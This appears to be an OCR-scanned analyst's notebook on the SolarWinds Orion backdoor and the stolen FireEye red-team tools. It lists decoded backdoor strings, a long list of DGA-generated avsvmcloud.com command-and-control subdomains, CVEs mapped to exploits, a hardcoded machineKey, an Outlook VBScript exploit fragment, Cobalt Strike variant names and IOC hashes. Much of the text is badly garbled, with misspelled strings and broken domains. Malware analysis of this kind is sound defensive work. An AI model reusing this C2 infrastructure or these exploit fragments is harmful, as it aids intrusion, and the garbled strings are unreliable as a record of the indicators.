CO7NSUQUUdBScCvKz1UTz8wzNooPIL.U4tckx0Ozi /NKWEA Select * From Win32 UserAccount

C/Z0A0A= STID

CO4ANSI10uvS9KDSIiKIMvMSUIPBOA= SeRestorePrivilege
CO04NScx09S/PSv0azsasCCAKIMvMSU]1 PROA= SeTakeOwnershipPriviledge

C44MDNnHI1BOA= SYSTEM

MwEA 4
MwUA 5
MwYA 3
CO/NSUQUuUdJBScCvKz1UTz8wzNooPriwuScll1KcosSvOQCAA== Select * From Win32 SvstemDriver

COasvfBIZzEQFAA== PathName
CA44MDNHI1IXFul.SpKzStxzs8rKcecrPCU4tiSI0OTSrITEATtRBOA= SYSTEM CurrentControlSet services

CvbJI.CoBAA== Start

CvbJI.CoBAA== Start

C44MDNH1AXFul.SpKzStxzs8rKcrPCU4tiSIOTLSrI TRA4tBgA= SYSTEM CurrentControlSet services

CvbJI.CoBAA== Start

CvbhbJICoBAA== Start

16420DGEtIVIWNONaz 1 AgA= 0
CO7NSUQuUABScCvKz1UTI z8wzNooPKMpPT10uBgA= Select * From Win32 Process

c08t8S/PSvQCAA== GetQOwner

c0zJzczTI.C4p0SizIJTlwWIA Administrator

azaoVaa?2 rFXwCAkKkJIOK82auUCAA==

Q 1 HTTP/2

Udap1i1b0tUzUTdONrTY2a42pVanRA00ABYxOuTIZmtUOA

0=-9a-f-36 10=-9a3-f3210=-9a-f16

80zT9cvPSIOXITSxTJZzaAA

If-None—-Match

SvwovMIMTizJIzM/TzvrQOzwMA

application/ison

SvwovMIMTI1zJzM/Tz081uSS3RI.S4pSk3MBOA=

application/octet—-stream

Ov3KzvE8RAA== -root
0010T.SoRAA== -cert
Ov3INvVvXTTL.SpOzT1PTaOA —universal ca
0010RAA= -Cca
0v0ovsxXNTKaMTO4FAA== —primarv ca
0v3JzFOtT.knMTL.OAA —timestamp
003PvUSKZzAFA —aglobal
Ov1OTS4tSk1I0OBAA= —secureca
K8101FE8uvtGuNaitNavtNarVA/TA oki/crl1/012.crl
c8rPSOFA Bold
c8rPSfFsSczITAYA BoldTtalic
co00KULOVvsS9JAQA= FxtraRold
co600KUp0Ovs9J8SxIJzMIMBOA= ExtraBoldTItalic




K8101F8uvtGuNgiltNavtNarVA/TIA

pki/crl1/012.crl

c8rPSOFA Rold
c8rPSfFESsSczITAYA BoldTtalic
co00o0KULOvs9TJAOA= FExtraBold
co00o0KULOvs9T8SxTIzMIMBOA= ExtraBoldTItalic
8vxJzMIMBOgA= Ttalic

88 1 MzvaBAA== Liaht

881 MzvixTEnNnMvUWGAA== LiaghtTtalic
COoNT.81JTATA Regular
COINzXTKZz0OkKkBAA== SemiBold
CONzXTKzONXTENMvUWGAA== SemiBoldTItalic
vvOTzStOzCsGAA== opensans
v8svvQOcA noto
SvtKTU3T,zvsSBAA== freefont

C84v1.Upn0dc5HhPSO0ovacA

SourceCodePro

C84vT.Up0DU4t vkwl . KMOHAA==

SourceSerifPro

C84vT.UpQ9UIMCO/MKWYA

SourceHanSans

C84vITUpQ9UAMCO4t vKWwDAA==

SourceHanSerif

S8vPKvNWT.89PSOOVNaiIVrTYEYaNa3IfT.UoDSATTIVXrROTZagA

fonts/woff/0-1-2-webfont3.woff?2

S8vPKvNWIT.89PSOOVvNAIVrTYEYaPaauNaPZCYFEQOA=

fonts/woff/0-1-23.woff?2

C87PSSwKz8xT.KOYA SolarWinds
03POTLvpIrOi1TKU3IPZAMA .CortexPlugin
0/ MvvszPAWA= .Orion
C88sSs1JI.S4GAA== Wireless
C/UEAA== Ul
C89OMSUStKOYA Widgets
SWvwBOA= NPM
cvzIz8nJIBwWA= Apollo
c87J1.03xzc /T IMkvvsxT BwA= CloudMonitorina
88t PSSOGAA== Nodes
C8vPKcCINIOYA Volumes
88WrSS1KSOxOT.OYA Interfaces
c87PIcIPS80rKOYA Components
Kv/7PINBI3TUVNKVKGAA== swipn/Fvents

Kv7PTNAPTL.c1JTO0ZzRSvZOQAAA

swip/Upload.ashx

881 MLsovzk8rOXUnuailwovXcMENOHAA==

Microsoft-CrvotoAPI/

C87/PSSwKz8xTKfYvvszP88wtKMovS8INzStxzskEkvoA

SolarWindsOrionImprovementClient/

1 /FvvszP88wtKMovS81INzSuJCc7PSSwKz8xT.KAZDIONL.rUgFAA==

OrionImprovement SolarWinds.OrionImprovement.ex

MOYZzAEJICVvMA 3.0.0.382
Kvo0Ti90zCkxKzXMrEvrvi SWNTAKMbFMvauwSC7T,zU4tz8aCAA== ral3asalteulivfzonb72d49bnx8cvmkewh
M4 1X1OMA Q0 -

K8awSsIMvzfOMvOtSTIMskixXNCksKkvKZTYOTsSWwXNOSGAA==

Dh2éif03n5utqlﬁ8d94qrvbmk05al76c

MzAOMIAYXNTO3IsSEXMSkSITUvPvMzKZzsnNvv80oLCouKSOrro6is0o3XAWA=

0123456789abcdefahidkImnopnarstuvwxvz—

0403AAA=

= 0

CO4NziatSckvzwsovizTLzEINTwUA

SeShutdownPrivilege

CO7INSUQUuUdBScCvKz1UTIz8wzNor3Sv0Opzv/

Select * From Win32 NetworkAdavterConfiaguration

cOktTiJKT.C1JzMEDAA==

Description

83VOdkxJKUotT.aYA MACAddress
c/FwDNDNSQOzKSUQBAA== DHCPEnabled
c/FwDahOT.SoT.IT.OTA DHCPServer
c/F19savIvFIL.zEQFAA== DNSHostName

Cc/FI1dsnPTczMCvONS811sCEANLETrO8COKSSOCAA==

DNSDomainSuffixSearchOrder

c/FETDkAtKkst CKONTETrQ8COKSSQCAA==

DNSServerSearchOrder

SwxwTEkoSI QuBagA= TPAddress

SWWITkIKSvVOBAA== TIPSubnet

COINSvZNKfEMcE8sSSTIPrAQA DefaultTPGatewav
COIUNSUQUuUIBScCvKz1UTz8wzNor3T.0atSizJzFEsPriwuScOQFAA== Select * From Win32 OpveratinaSvstem
c04sKMNMzwMA Caption

SWI2TErOvCxJITS4pl.UoFAA== OSArchitecture

S8WrTLKknMvXEFITLEKFAA== InstallDate

8vOKT8zI.rEosvCczPAWA=

Oraganization

COpNzvwuSSIKTOkKktTIiQCAA==

ReagisteredUser

CO0stKs 7MzwMA

Version

13aNVaa?2aFWoNaRioloA

E 01 2

Q/DPINSTikvUrYatidPUKEktT.oHZVTOR

2i%a-z|1test™a-7z18

Q7DPINO0zs9IJICrPzEspl1aOA

?isolarwinds

COotvC8aCU8sSchTITOKL.SmaBAA=

ReportWatcherRetrv

COotvC8aCU8sSchTITOrTIv4dpovM9OT.BOA=

ReportiWatcherPostoone

SvzT1Cv0z0ksKs/MSvnWS87PBOA=

api.solarwinds.com

Svwrl,stNzskvTdFT.zs8FAA==

avsvmcloud.com

SvWOKKTMSOZNIMaEAA== appsvnc-—-api
Sv3VIUStTtEIBAA= ey-—-west-1
Kv3WLUStTtE1AgA= us-—-west-2
Kv3IWTUOST.tF1BAA= us—-east-1
Kv3IWTUOST.tE1AQgA= us—-east-2

M7UwTkmONDHVNTNKTNMINE] T 0DWxNDDSTHRIMZITWTTY3S1 JKBOA=

583da945-62af-10e8=-4902-a8Ff205c72b2e




8/B23Yx39nEMDNYNjqg/y9w8BAA==

HKEY CLASSES ROOT

8/B23Yx3Dg0KcvULi1iQ8NdgO0CAA==

HKEY CURRENT USER

8/B23Yz38Xd29In3dXT28PRzZBQA=

HKEY LOCAL MACHINE

8/B25YwPDXYNCGYA HKEY USERS

8/B27Yx3Dg0KcvULiXf293PzdAcA HKEY CURRENT CONFIG

CO9Y11DXVBQA= S-1-5-

0zUIMAAA -500
c0zJzczLLC4pSizJLwIA Administrator
CO7NSUQuUdBScCvKz1UIz8wzNooPLU4tckx0Ozi/NKwEA Select * From Win32 UserAccount

C/Z0AQA= SID

881PTsxxTE/OLS0rAQA= LocalAccount

KykgTQUA TRUE

CO4NS10uyS9KDSJKLMvMSU1l PBQA= SeRestorePrivilege
C04NScx09S/PSy0gzsgsCCIKLMvMSU1 PBQA= SeTakeOwnershipPrivilege

C44MDnH1BQA= SYSTEM

MwEA 4
MwUA 5
MwYA 3
CO7/NSUQuUABScCvKz1UIz8wzNooPriwuScllKcosSyO0CAA== Select * From Win32 SystemDriver
COgsyfBLzEOFAA== PathName

C44MDnH1 JXEuLSpKzStxzs8rKcrPCU4ti1iS10LSrLTE4tBgA= SYSTEM CurrentControlSet services

Cy5JLCOBAA== Start

Cy5JLCoOBAA== Start

C44MDnH1 JXEuLSpKzStxzs8rKcrPCU4tiS10LSrLTE4tBgA= SYSTEM CurrentControlSet services

Cy5JLCOBAA== Start

Cyb5JLCOBAA== Start

16420DGtjJVWoNgz 1 AgA= 0
CO7NSUQuUABScCvKz1UIz8wzNooPKMCO 7/NSUOuUUdABScCvKz1UIz8wzNooPKMpPT1i0uBgA= Select * From Win32 Process

c08t8S/PSy0CAA== GetOwner

16420DGtjVWONt TRNTSrVag2quiWsNgYKKVSb1MZUm9Z yAQA= 0
CyjJKTO04tLvZ0AQA= ProcessID

80VvMTQUA Name

cO0zJzczLLC4pSizJLwIA Administrator

gzaoVag2rFXwCAkJOK82quUCAA== 0 1 HTTP/2

Udgp]1bQtUzUTdONrTY2g4 2pVapRgooABYxQulZmtUoA

0-9a-f-36 |0-9a-£32]0-9a-fl6

80zT9cvPS9X1TSxJzgAA

If-None—-Match

UyotTi3yTFGyUqo2gFXSAQA=

userId:0

UwrJzEOtLknMLVCyUorRdOksSAWoNgjVINEFX0OgEA

Timestamp: /Date( /

SywoyMIMTi1zJzM/TzyrOzwMA

application/json

SywoyMIMT1zJzM/Tz08uSS3RLS4pSk3MBQA=

application/octet-stream

Oy3Kzy8BAA== —-root
0010LSoBAA== -cert
Oy3NyyxLLSpOzI1PTgQA -universal ca
0010BAA= —-Cca
Oy0oysxNLKgMTO4EAA== -primary ca
Oy3JzEOtLknMLQAA -timestamp
003PyU9KzAEA -global
OylO0TS4tSk10BAA= —-secureca
K8jOlE8uytGvNgitNgytNgrVA/IA pki/crl/012.crl
c8rPSQEA Bold
c8rPSfEsSczJTAYA BoldItalic
cb600KUpOys9JAQA= ExtraBold
c600KUpO0ys9J8SxJzM1IMBgA= ExtraBoldItalic
8yxJzMI1MBgA= Ttalic
881MzygBAA== Light
881Mzy]xLENMyUwGAA== LightItalic

10



MESSY DGA AND C2 STUFF




Zu h.com
databasegaloe com | | | | | | | | | | | | | | | | | | | |
highdatabase.com . . ...... Apl' 1 5 ..... Apl' 22 ...... Apl' 29 ...... May 06 ..... May 13 ..... May 20 ...... May 27 ..... Jun 03 ...... Jll[l 10 ...... Jlll’l 17 ...... Jun 24 ...... Jlll 01 ...... Jlll 08 ....... Jlll 1 5 ...... Jlll 22 ....... Jlll 29 ...... Allg 05 ..... Allg 12 ..... Aug 19
thedoccloud.com
defisecurity.com | | | | | | | | | | | | | | | | | | |

DOMAINS LIFETIME
| | | | | | | | | | | | |

..... Dec16 ----- Dec09 ----- Dec02 ----- Nov25 ----- Nov18 -+ Nov1l ----- Nov04 ------ Oct28 ----- Oct2l ------ Octl4 - - -+ Oct07 ------ Sep30 --- - Sep23

| | | | | | | | | | | | |

l | | | | | |
1 | | | 1 | | | | | 1 | 1
Apf‘)é A a
L ]

| | | | | | | | | | | | |

| | | | | | | ! ] | ! | |
: | | | i | | | | | | i | | 1 | | i | |
P | | | | | | | | | | | | | | | | | | |

Dec 14 - Dec 07— Nov-30——Nov23—— Nov- 16— Nov-09— Nov02 — Qot 26— Qet 19— Qet 12 ot 05— Seop 2 :

: | | | | 1 | | | | | | | | | | | | | |
4 I I I I I I I I I I I I | | | I I I I

DGA IS USED TO GET A CNAME.

CNAME WILL POINT TO ONE OF THE FOLLOWING DOMAIN NAMES, THAT WILL WORK
AS THE C2

0

No,-aseqmtpllﬁltl

ees
Ca'lo'",'n e_com



DOMAINS LIFETIME


DGA IS USED TO GET A CNAME. 
CNAME WILL POINT TO ONE OF THE FOLLOWING DOMAIN NAMES, THAT WILL WORK
AS THE C2


039n5tnndkhrfn5cunly0sz02hij0bl2.appsync—-api.us-west-2.avsvmcloud.com

DOMAINS -> C2

OMATIN S5oct21hikejopieug6don0coilceu.appsync—api.us—east—-1.avsvmcloud.com
DOMAIN 58b8f8go25f04rpagc?2d0be?2h0gdi .appsvnc—api.eu-west—-1.avsvmcloud.com
DOMAIN S5agvobc/7002ivk95a6cd4frl.appsyvnc—api.eu—-west—-1.avsvmcloud.com

DOMAIN Sbab4io0mbureophbob3rscusiZvovel.appsync—api.us—-east—-2.avsvmcloud.com
DOMAIN 5ccl9cobgubin6fh00huauo0flgtkgb4d.appsync—api.us—-east-1.avsvmcloud.com
DOMAIN 5ce?28911e8ipoag2g6d6n0o6i0ceu.appsync—api.us—east—-1.avsvmcloud.com
DOMATIN S5déoehglhbk6grodeml?2s.appsvnc—api.us—-west—-2.avsvmcloud.com

DOMAIN S5dcihi4h4i6cig34d4erle9.appsvnc—api.us—-west—-2.avsvmcloud.com

DOMAIN 5dg72bpoz2h9i304en’/8n.appsvnc—api.us—-west-2.avsvmcloud.com

DOMAIN S5fbprolov2090d3ggg8tap.appsvnc—api.us—-west—-2.avsvmcloud.com

DOMAIN 5f19k0dd4glv4ibhbonrloipeZ2hh0el?.appsync—api.us-west—-2.avsvmcloud.com
DOMAIN S5ge5g8adicfbdllge?2glel’?eul .appsvnc—api.eu-west—-1.avsvmcloud.com
DOMAIN 5h67u6akl9urof936791 .appsvnc—api.us—east—-2.avsvmcloud.com

DOMAIN Shccp8i2dnOpr5435gei.appsvnc—api.us—-west—-2.avsvmcloud.com

DOMAIN 5ildfbdgl2osardhdsZ2n0i3uholi?2v02.appsync—api.us-west—-2.avsvmcloud.com
DOMAIN S5iat8b7ub86lrlegcuveervisullte’Zh.appsync—api.us-west—-2.avsvmcloud.com
DOMAIN 51b9cmvm9pii8vlg26lrs3e022st.appsvnc—api.eu-west-1.avsvmcloud.com
DOMATIN Sp72thpmihr3mo9fplcdeil .appsvnc—api.us—east—-2.avsvmcloud.com

DOMATIN Spm72cpodh9pol4denltn.appsvnc—api.us—-west—-2.avsvmcloud.com

DOMATIN S5abti04rcbp3tig8bobt.appsvnc—api.us—east—-1.avsvmcloud.com

DOMAIN S5rcl3gbesgi4cunug/lle.appsyvnc—api.us—east-2.avsvmcloud.com

DOMAIN 5vd09ek9rbd8r99gh.appsvnc—api.us—-east—-2.avsvmcloud.com

DOMATIN Svsivtapld93b9aggoid60bfi0bvri.appsync—api.us—-east-2.avsvmcloud.com
DOMATIN 63103hgeg7hiuuahscr0g6ijl02eu.appsync—api.us—east-1.avsvmcloud.com
DOMAIN 03edioi8dnagflashl.appsvnc—api.us—east—-1.avsvmcloud.com

DOMATIN bab71k2bald9%keglbcbg.appsyvnc—api.eu-west—1.avsvmcloud.com

DOMAIN ocbtagtl8m6l258khe?2h.appsvnc—api.us—-west—-2.avsvmcloud.com

DOMAIN 6cdo6d4117t0arg8hids2n0e3uholi?Z2v0e.appsync—api.us-west—-2.avsvmcloud.com
DOMATIN cfndhoavfi/7o774hfgge.appsync—api.us—-east-1.avsvmcloud.com

DOMAIN baghau/74omseljcthimle?2st.appsvnc—api.us—-east-2.avsvmcloud.com

DOMAIN 6ap98d4asbipudghb3e0il?2eul .appsvnc—api.us—east—-2.avsvmcloud.com
DOMAIN bib6agkugdrrgi9n8hodonlebilieu.appsvnc—api.us—-east-1.avsvmcloud.com
DOMAIN 616nl1gi6bb20269he?2g0bl?eul .appsvnc—api.us—east—-1.avsvmcloud.com
DOMAIN blefSkkueaulhv8i65600cbhbirusvbcuv.appsync—api.us—-east-2.avsvmcloud.com
DOMATIN or2prvobsbgbbbdhOfeaaso.appsvnc—api.eu—-west-1.avsvmcloud.com

DOMAIN bragioh3nhag8kgisivranosreio2v60gi.appsyvnc-api.eu-west-1.avsvmcloud.com
DOMATIN 6rthdr9nv4kmf80hc2d0ce?2h0tdl.appsvnc—api.eu—-west-1.avsvmcloud.com
DOMATIN bsoimlglm3ojum8brmsv.appsyvnc—apli.us—-west—-2.avsvmcloud.com

DOMAIN ostSrobtedtohg852bmr.appsync—api.us—-west—-2.avsvmcloud.com

DOMAIN osubribt34t1hag852bbn.appsync—api.us-west—-2.avsvmcloud.com

DOMATIN pti1lielbt3givoit/bnl3cv.appsvnc—api.us—east-2.avsvmcloud.com

DOMATIN oufidbacilOcpidss858303.appsvnc—api.us-west—-2.avsvmcloud.com

DOMATIN oumd9csp9vl12i2ibbitv.appsvnc—api.us-west—-2.avsvmcloud.com

DOMATIN 7/ 7buuacbmlanelaiodonle6ilceu.appsyvnc—api.us—east-1.avsvmcloud.com
DOMAIN Taz2flvadu69jacdcetv8lam6f.appsyvnc—api.us—east—-1.avsvmcloud.com

DOMAIN J/c2ucide’Z2e9sd4udieobviledsovertr’?2s.appsync—api.us—-east-1.avsvmcloud.com
DOMATIN Jcoujaocom8tn304i6don0g6i02eu.appsync—api.us—east—-1.avsvmcloud.com
DOMAIN 7£f000apd4o0a07gi6i5onrloipe2hh0gl2.appsvnc—api.us-west-2.avsvmcloud.com
DOMAIN 71bfl1cO0fgp8drociirpuv20212eul .appsvnc—api.eu-west—-1.avsvmcloud.com
DOMAIN 71bh5f2ss/7dov3nie?2glel’?eul .appsync—api.eu-west-1.avsvmcloud.com
DOMAIN 7kdhoghcltbt6o2hplh?.appsvnc—api.eu—-west-1.avsvmcloud.com

DOMAIN /mlobam86f3dienivog3ruli3levri.appsync—api.us—east—-2.avsvmcloud.com
DOMATIN 7acnbheggmflae?2ticsambv.appsvnc—api.us—-west—-2.avsvmcloud.com

DOMAIN 7arOhdaahg9cad’?2tabbsicv.appsvnc—api.us—-west—2.avsvmcloud.com

DOMATIN 7riv8p3piim3b25ip2sijiZ2v0oe25p.appsvync—api.us—east—-2.avsvmcloud.com
DOMAIN 7sbvaemscs0mc925tb99.appsvnc—api.us—-west-2.avsvmcloud.com

DOMAIN 8l4itdmrf/cg2deiodonlebilieu.appsync—api.us—east—1.avsvmcloud.com
DOMATIN 8l4itdmrfi/cg2dmiodon0goil2eu.appsvnc—api.us—east-1.avsvmcloud.com

DOMATIN

882184blfc8godoiocdon0g6ilceu.appsync—api.us—east—1.avsvmcloud.com

DOMAIN

DOMAIN |O4spiistorugljgbo6o0.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |05g2spOvé4bbramdf/7117.appsync—api.eu-west-1.avsvmcloud.com

DOMAIN |07gZ2aghbohp4bncceovilodsovertr’2s.appsync—-api.us—-east-1.avsvmcloud.com
DOMAIN |08amtsejd02kobtb6h07ts2fd0bl2eul.appsync—-api.eu-west-1.avsvmcloud.com
DOMAIN |O0bOfbhp20mdsv4scwollrQoirssrc2vv.appsync—-apil.us—-east-2.avsvmcloud.com
DOMAIN |Obr2kgmp2hbg90sb9uf29149711le.appsync—-api.us—-east-2.avsvmcloud.com
DOMAIN |Obvokouisdgtgslbe?2sdO0tdieolOte?2h.appsync—api.us—-east-2.avsvmcloud.com
DOMAIN |0c327076g8up3adbodonlt6jloeu.appsync—api.us—-east—-1.avsvmcloud.com
DOMAIN |0c327036g8up3aocb6donlg6jlgeu.appsync—api.us—-east-1.avsvmcloud.com
DOMAIN |0dvbfsonsllrohgh0657.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |0fhdojdvgeuskgkcds2n0i3uholi2v0i.appsync—-api.us-west-2.avsvmcloud.com
DOMAIN |0ftdlsok8kjdkpbbeuheoip0il2Z2eul.appsync—-api.us-west-2.avsvmcloud.com
DOMAIN |0h8228c3d6d4pk6d4f31lg’/.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |0n64gosv25v97g9htlvd.appsync—api.eu-west-1.avsvmcloud.com

DOMAIN |Oogdtu3r8abdod8beuheoipOtl2eul.appsync—api.us-west-2.avsvmcloud.com
DOMAIN |Op7vliequd463lasg3bgughgg.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |0pd232ugfohg8gdhslmh.appsync—-api.us-west-2.avsvmcloud.com

DOMAIN |Ost8ibor4o31el198i6edvgh.appsync—api.eu-west-1.avsvmcloud.com

DOMAIN |127/motrjknpdraetl8ho.appsync—-api.us-west-2.avsvmcloud.com

DOMAIN |12gho508142kpbeto8do.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |133bocmjd8ppsa8d00eullos5jheadvo.appsync—apl.us-west-2.avsvmcloud.com
DOMAIN |16julbdk427s94jdeo6vilodsovertr2s.appsync—api.us—east—-1.avsvmcloud.com
DOMAIN |l16uulebk3j3nihuc6donlOc6j0ieu.appsync—api.us—-east-1.avsvmcloud.com
DOMAIN |174utgcr3lcn293c6donfobjloeu.appsync—api.us—-east-1.avsvmcloud.com
DOMAIN |18f5phgbdbgbetec26c0glZ2eul.appsync—apil.eu—-west—-1.avsvmcloud.com
DOMAIN |18shu72lullbbclce?2g0lblZ2eul.appsync—api.eu-west-1.avsvmcloud.com
DOMAIN |19knepufjrmllr2347im.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |lbtcrl2b62melObuden6c0ceudoluv2f0i.appsync—-api.us—-east-2.avsvmcloud.com
DOMAIN |1c2u8g61388no9uc6donlb6j02eu.appsync—api.us—-east-1.avsvmcloud.com
DOMAIN |lcghgocfgcik9plcvoeg3ruli302vri.appsync—api.us—east-1.avsvmcloud.com
DOMAIN |lchlndtjj2u8mibd6rswoioulbovirsv.appsync—-api.us—-east-1.avsvmcloud.com
DOMAIN |lcoubodli4evsgl2bdeovilodsovertr’2s.appsync—api.us—-east—-1.avsvmcloud.com
DOMAIN |l1g2hgleduci6d87ce2glol2eul.appsync—-api.eu-west-1.avsvmcloud.com
DOMAIN |lg2hgleduci6d8fce2g0blZ2eul.appsync—apil.eu-west-1.avsvmcloud.com
DOMAIN |1hldptc2kokdku238g90.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |11i19gls7ut/7pj88chom2v3oll0ce?2h.appsync—api.us-west-2.avsvmcloud.com
DOMAIN |11i9gls7ut/7pj8tchom2v3oll0ce?2h.appsync—api.us-west-2.avsvmcloud.com
DOMAIN |111ms3vh0gOcb39dtsfd2cu/uslelZ2eu.appsync—-api.us—-east—-1.avsvmcloud.com
DOMAIN |1on45g99h4i7bg0Ocdae?2sd02e2h.appsync—api.us-west-2.avsvmcloud.com
DOMAIN |1p792tkokdddisZ2ejlhu.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |lrulnov281330v0dovirsvul0igilOce.appsync—-api.us—-east-2.avsvmcloud.com
DOMAIN |2027dr3e38ajalbohr63.appsync—api.us-west-2.avsvmcloud.com

DOMAIN |21dh2sca90g78hgeenc0ceudoluv2f0i.appsync—-api.us—-east-2.avsvmcloud.com
DOMAIN |23hrcr27nmgbbbud6don0t6j0teu.appsync—api.us—east-1.avsvmcloud.com
DOMAIN |2788hsokfdb6lkadhom?2v3oll0ie?2h.appsync—api.us-west-2.avsvmcloud.com
DOMAIN |28phos6g9al7th2een60eeudoluv2f0t.appsync—-api.us—-east-2.avsvmcloud.com
DOMAIN |2a0Omm2rgtnibvgcij/mfu.appsync—-api.us-west-2.avsvmcloud.com

DOMAIN |2attp7aog2oennljum’/g.appsync—-api.us-west-2.avsvmcloud.com

DOMAIN |2£f9d7160unlhhpfde2g0blZ2eul.appsync—api.us—east-1.avsvmcloud.com
DOMAIN |201rg9g07s6ihvseeovilgdsovertr2s.appsync-api.us—-east-1.avsvmcloud.com
DOMAIN |2gnv7hrl7ogjc27j]j3hc.appsync—api.us—east-1.avsvmcloud.com

DOMAIN |2rn2ddllcdbmtjiet3chuovz0ott30et.appsync—api.eu-west—-1.avsvmcloud.com
DOMAIN |2slcbufjauhbdOcubS5mOu.appsync—-api.us-west-2.avsvmcloud.com

DOMAIN |2s8s118387s2tm7g50limhv.appsync—api.us—east-2.avsvmcloud.com

DOMAIN |2sn98d96h9pgmlcgOb6fihb.appsync—-api.us-west-2.avsvmcloud.com

DOMAIN |2srhmkklc9o6obcubmné.appsync—-api.us-west-2.avsvmcloud.com

DOMAIN |2ur/sef75htrb36gdmtirh’/.appsync—-api.us—-east-2.avsvmcloud.com

DOMAIN |302v4kedjdchpbbpllf82gl.appsync—api.us—-east-1.avsvmcloud.com

DOMAIN |32637c0g7ka3’70tgmctjiev.appsync—api.us—-east-2.avsvmcloud.com

DOMAIN |32privobvbgsabtum6ip.appsync—-api.us—-east-2.avsvmcloud.com
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| am not sure how it plays into this whole campaign. For the record, | will add my notes in here.
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INITTIAL REPORT (FIREYE’s RED-TEAMING TOOLS & VULNERABILITIES)

Vulnerability

CVE-2014-1812

CVE-2018-15961

CVE-2019-19781

CVE-2019-3398

CVE-2019-11580

CVE-2020-0688

CVE-2019-0604

CVE-2020-10189

CVE-2019-0708

CVE-2017-11774

CVE-2018-13379

CVE-2019-11510

CVE-2019-839%4

CVE-2016-0167

CVE-2020-1472

CVE-2018-8581

GROUP POLICY

RCE via Adobe ColdFusion (arbitrary file upload that can be used to upload a JSP web shell)

CITRIX
WRITE FILES

FLAW(BAD PLUG-IN)

BY-PASSED EVERY EDR AND AV, TARGETED GULF

EXCHANGE
APT27

DESERIALIZATION

BLUE-KEEP
APT33

Windows Local Privilege Escalation

USED BY CHINA TO LAUNCH CHINA CHOPPER

RCE of Citrix Application Delivery Controller and Citrix Gateway

Confluence Authenticated Remote Code Execution

Atlassian Crowd Remote Code Execution

Remote Command Execution in Microsoft Exchange

USER IN GULF TO LAUNCH XAWEN SHELL
RCE for Microsoft Sharepoint

RCE for ZoHo ManageEngine Desktop Central

RCE of Windows Remote Desktop Services (RDS)

RCE in Microsoft Outlook via crafted document execution (phishing)

LPE
FileRead

FileUpload

Traversal

LPE

RPE

RCE

o
-
N
w
»

---------- > <machineRey validationRey="CB2721ABDAFB8EIDC516D621D8BBBF13A2CI9EB8689A25303BF"
decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHAl"
decryption="3DES" /> T

< ok</title>
<sC id=clientEventHandlersVBS language=vbscript>
<l

Sub window_onload()
Set Application = ViewCtl1.0utlookApplication
Set cmd = Application.CreateObject(

omd. Ru

__________________ values)

APT34 pre-auth arbitrary file reading from Fortinet Fortigate SSL VPN Traversal
APT41
pre-auth arbitrary file reading from Pulse Secure SSL VPNs FileRead ecx, [ eb P+
eax, ecXx
[ebp+
Needs an authenticated user eax, [ eb p+ ]
arbitrary pre-auth file upload to ZoHo ManageEngine ServiceDesk Plus FileUpload eax Ad '_1 ress )
UnicodeString
MbString
[ebp+P] - |-
ALLOCATION ON HEAP P ’
~
UAF local privilege escalation on older versions of Microsoft Windows - LPE [ eb P ] e :
----------- _xxxSendMessage@16 ; WHM_NCCALCSIZE msg
ZEROLOGIN e
AD COMPROMISE Microsoft Active Directory escalation of privileges e
RPE

RACECONDITION

MOVEWINDOW->win32

Microsoft Exchange Server escalation of privileges




INITIAL REPORT (FIREYE’s RED-TEAMING TOOLS & VULNERABILITIES)


Backdoor.HTTP.BEACON.CSBundle M SOffice POST

VARIANT NAMES PROVIDED BY FIREEYE

Backdoor. HTTP.BEACON.CSBundle USAToday GET

opjjew/uim

Backdoor.HTTP.BEACON.CSBundle M SOffice Server

uapyuod sn

%001 2

Backdoor. HTTP.BEACON.CSBundle Original GET

\

SNORT » Backdoor.HTTP.GORAT.Build ID » -END-
Backdoor. HTTP.BEACON.CSBundle Original POST
3 S
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Backdoor. HTTP.BEACON.CSBundle Original Server

Backdoor. HTTP.BEACON.CSBundle Original Server 3
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VARIANT NAMES PROVIDED BY FIREEYE


|OC’s

2b4d48aac9c6885f50f5f95¢c10385aa1l0f7de9c81393e64777b544e8fae8c95hb
94f7fedc70accd4991b203a981cac2925e84d3d984c3b50184a4341b8c0e37c5
a6834eb32120a52786celc5e99h94baec4d251414a97ca4717b2b06c88340a4b
39845d02f72d83ef342h62b7348776d44cdb3eb6416b83ea2167b301d306cd58
al47b58b5e03979a017daf3f32d666b8f0b8alf53617a3h0244107e231elc2b9
05810f2a6d5ed4ce5687bta80285b796d5edb446404b017856e73660547ab23c
1414c072c33b12009d0af5858877a9fel664650c9b1628ad5a5¢c964562e10973
14561204ecct222201df94b0162bc840261a225fffeaf0041edaed7e25b5edf05
1f9c6al66le5daf5c8c7fc915¢c84a02al19a7b55b0216cbhb79aef0fe2026d2815e
24e37el197bdbabf8a2bc63e0776e82c00a440febel71lecle6481024338c0871c
30cha2554985a8943e2flcb6e76f4ala32160d8adba845¢c2¢c221209059fd5f4ba
3b40eaacabb7a597365f79004b55132ble74de6177a979acd46eeaeeb7d67a65
3d1lb5a772e5e153843ef93cd5241f004fd93462aclbcl42ccddd8b8dbea360bb?7
432d5c08dc329ff1481ba779d43ba8de839ce34495ccd03c439f149bdfdc8bl3
4487eb760a9ce7chad2abel3a002d458f0d35855f4ch89db0384102a776346d0
513f4fal3633667163345eade85cc71bfel3406d6981blb7ed4acc547960cl64
62400a2c101c2deb84927196713891915597153a4dba24f5e9b3d0d03404d8ec
6b1197af09fa66eal098e4176c807409b77c4761laf8bf75a4cdd60ff351e1087
7f45e1d20048715a106437e94d81fb55cc22chb57h8a8c66644309857f01d67d1
85¢c0dccf928cf07eee6690bee2ae93096c4ae3e895133969e5e9823ffa736e55
86e66h303e90e16159e0f6d165c80746819c8e56773a8631de35a7a4c896666
88a8b861fa8599ec25e89547f61c461dd9¢cc9d626363313643d22db355fd324c
8d80e0d69ad4eldd0e8ddbad2a8bf641f81a2653f1f06102096d2bh980d3592fa
a27c08e00260aa956052e95014a235cea65bd61bba243a78ad3869b508da5188
a39e235cad4caf08984fdeead2573e7cf087e47c9h826e085ac64e514ad89e0ch
a80bc4t464220bladbcf70c310e061d87591a7fb56595ba9lafdfcacllb0978c¢
a88307e49dcl24e0c673ded7e73b741f794d3531019843b1b522661500f02510b
aft75297ea9bdf68bc420cc65951ad566d32efa73c82903dd072d818dadf64e7c
